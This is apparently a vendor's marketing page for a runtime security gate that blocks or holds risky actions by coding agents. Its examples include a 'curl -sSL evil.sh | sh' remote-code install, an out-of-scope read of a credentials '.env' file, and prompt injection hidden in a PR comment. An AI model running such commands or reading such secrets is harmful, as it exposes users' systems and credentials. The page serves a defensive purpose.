Use Case 01 · Coding Agents

Your coding agents move fast. Gödel decides what they touch.

Claude Code, Cursor, Copilot, Gemini CLI — agents with shell access, repo access, and your credentials one cat away. Gödel governs every file read, shell command, and MCP tool call at runtime: which user and agent is acting, what data it touches, and what it's allowed to execute. Decisions in under 5 ms. Local-first. Model-agnostic.

Install Gödel Security Gate Book Demo

Works with every coding agent

Claude Code

Cursor

GitHub Copilot

Gemini CLI

Windsurf

Walkthrough demonstration

See coding agents in action

Watch Gödel intercept a coding agent attempting to run an unverified install script — attributed, checked, and blocked in under 5 ms.

Caught at runtime

Six ways data walks out.
Six verdicts before it does.

Real traces from the enforcement path. Every action is attributed to its user and agent identity, checked against the data it actually touches, and decided in under 5 ms — locally, before the payload leaves the process.

Malicious install script

BLOCKED · 4 ms

claude-code · maya@acme.dev → $ curl -sSL evil.sh | sh

Unverified remote code piped to a subshell. Stopped before it reaches the OS — the agent gets a refusal, not your machine.

Out-of-scope repo access

BLOCKED · 3 ms

cursor · sam@acme.dev → read ~/Projects/payments-service/.env

An agent asked to fix a UI bug wanders into production credentials in a neighboring directory. Access is scoped to the task — everything else stays dark.

Secret in model context

REDACTED

copilot · maya@acme.dev → AWS_SECRET_ACCESS_KEY in prompt

API keys and credentials are stripped from file contents and prompt context before the payload leaves your local machine.

Hallucinated dependency

HELD FOR APPROVAL

gemini-cli · sam@acme.dev → $ npm install reqwest-utils-v2

A package not present in your registry or lockfile. Installation pauses for human verification before any code executes.

Destructive git push

HELD FOR APPROVAL

windsurf · maya@acme.dev → $ git push origin main --force

Force pushes, branch deletions, and tag overwrites require explicit developer confirmation.

Poisoned PR comment

BLOCKED · 3 ms

codex-cli · PR #142 → hidden prompt injection in diff comment

Indirect prompt injections embedded in code reviews or issues are detected and stripped before the agent executes them.

Full coverage

All six controls,
working on this outcome.

Data Loss Prevention isn't a bolt-on module. Every Gödel enforcement capability contributes to it, under one policy engine.

Session Visibility & Oversight

Every prompt, file read, and MCP tool call across CLI and IDE agents — live and historical, tied to user and agent identity.

Content Classification

Source code, contracts, and sensitive docs classified the instant they're pulled into agent context.

Action & Execution Guardrails

Shell, git, package, network, and cloud commands risk-scored and gated before execution.

AI Attack Defense

Scans for indirect prompt injection in repos, PRs, issues, and tool outputs before they enter agent context.

Data Loss Prevention

Secrets, credentials, and classified source code redacted or blocked before reaching external LLMs.

Audit & Compliance

An immutable trail of every coding agent action and verdict, streamed to your SIEM — SOC 2, ISO 27001, EU AI Act ready.

Overview & Architecture

How Gödel secures coding agents

Coding agents are the most privileged software on a developer's machine. They read entire repos, run arbitrary shell commands, install dependencies, push to git, and call MCP tools — all faster than any human can review. One poisoned PR comment or hallucinated package is enough to turn that speed against you. Gödel Security Gate sits in the execution path as a local-first, zero-latency proxy: every file read, command, and tool call is attributed to the user and agent behind it, checked against the data it touches, and allowed, held, or blocked in under 5 ms.

Nothing about the agent changes. Gödel is model-agnostic and works with Claude Code, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Codex CLI, and any MCP-enabled tool — no SDK, no prompt changes, no fine-tuning. Policies are deterministic, so the same action gets the same verdict every time, and every decision lands in an immutable audit trail your SecOps team can stream to Splunk, Datadog, or S3. Developers keep shipping; the unsafe actions don't.

Every agent surface